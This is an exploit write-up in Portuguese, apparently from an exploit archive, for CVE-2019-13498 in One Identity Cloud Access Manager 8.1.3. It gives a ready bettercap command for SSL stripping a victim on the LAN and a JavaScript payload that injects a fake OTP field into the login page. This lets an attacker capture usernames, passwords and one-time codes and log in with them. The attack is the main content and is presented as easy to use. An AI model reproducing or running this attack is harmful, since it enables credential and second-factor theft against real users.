CVE-2019-13498
Título do Exploit: MITM - Ausência de HSTS causando roubo de credenciais e manipulação de conteúdo
Data: 07/10/2019
Autor do Exploit: Furqan Khan
Página do Fornecedor: https://www.oneidentity.com/
Link do Software: https://www.oneidentity.com/products/cloud-access-manager/
Versão: 8.1.3
Testado em: Kali Linux , Windows 7 ,Ubantu 16.04
Para conduzir o ataque MITM e roubar nome de usuário , senha e OTP , utilizamos o bettercap 1.6.Ideally , o campo OTP é exibido na segunda página da aplicação , após o usuário se autenticar com sucesso com um nome de usuário e senha legítimos. No entanto , usamos SSL strip e manipulação de conteúdo para injetar um campo de texto OTP na mesma página onde o nome de usuário e a senha são solicitados. A vítima pode pensar que essa mudança está vindo da própria aplicação , e compartilhará nome de usuário , senha e OTP e enviará o formulário.O atacante que configurou o bettercap e o proxy , obterá as credenciais e o OTP , e os utilizará para fazer login na aplicação.
O comando bettercap utilizado é :
bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js

Aqui 192.168.1.103 é o endereço IP da vítima. Se não o soubermos , podemos usar o bettercap , para farejar e manipular o conteúdo de toda a LAN (rede comum do atacante e da vítima)
O conteúdo de inject_js.js é fornecido abaixo
<script>
function replace_payload()
{
var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password" id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';
var text_div=$(".m-b-20");
text_div.append(append_str);
}
function control(){setTimeout(replace_payload,2000);} control();
</script>
Agora , quando a vítima navegar pelo produto (Cloud access manager) , devido ao envenenamento de cache e SSL strip (Bettercap) ,um campo de texto OTP será injetado na página que será servida à vítima através do trecho de JavaScript injetado

Considerando que a conexão é rebaixada para http via ssl-strip , agora todo o tráfego estará visível para o atacante.Thus podemos interceptar o tráfego , e ver o nome de usuário , senha e OTP enviados pela vítima.

Bingo ! Isso foi fácil !